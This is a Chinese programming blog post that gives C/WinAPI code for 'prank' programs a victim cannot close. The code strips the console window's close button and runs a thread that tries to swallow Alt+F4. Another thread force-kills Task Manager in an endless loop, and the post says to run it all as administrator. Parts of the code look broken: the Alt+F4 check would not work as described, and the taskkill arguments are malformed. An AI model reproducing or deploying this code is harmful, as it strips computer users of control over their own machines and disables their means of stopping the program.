对于之前坑人代码的优化

文章介绍了如何通过WindowsAPI修改控制台窗口的行为,使其右上角的关闭按钮不可见,并创建线程阻止Alt+F4关闭进程和防止任务管理器的访问。操作需以管理员权限运行。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

void cbd(){
	HWND hWnd = GetConsoleWindow();
	SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
	HMENU hmenu = GetSystemMenu(hWnd, false);
	RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND);
	LONG style = GetWindowLong(hWnd, GWL_STYLE);
	style &= ~(WS_MINIMIZEBOX);
	SetWindowLong(hWnd, GWL_STYLE, style);
	SetWindowPos(hWnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
	ShowWindow(hWnd, SW_SHOWNORMAL);
	DestroyMenu(hmenu);
	ReleaseDC(hWnd, NULL);
}

在主函数之前加上这个函数可以让右上角的 - 口 × 变成 ❌ 这样就能让坑人程序叉不掉

大意是删掉原来的 - 口 ×,加上新的❌

DWORD WINAPI altf4(LPVOID lpParameter){
	while (1){
		if (_getch() == 0x12){
			FlushConsoleInputBuffer(GetStdHandle(STD_INPUT_HANDLE));
		}
	}
	return 0L;
}

他会防止用Alt+F4强制关闭

这是一个线程,主函数上就会创建一个新线程

线程的内容是已检测到alt建按下,就清空缓存区

同理,也可以做任务管理器的防护

DWORD WINAPI glq(LPVOID lpParameter){
	while (1){
		system("taskkill /f/im taskmgr.exe");
	}
	return 0L;
}

记得在主函数最前面加入

HANDLE a=CreateThread(NULL, 0, altf4, NULL, 0, NULL),b=CreateThread(NULL, 0,glq, NULL, 0, NULL);
cbd();

让他们生效

注意要以管理员身份运行,否则任务管理器会拒绝访问

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值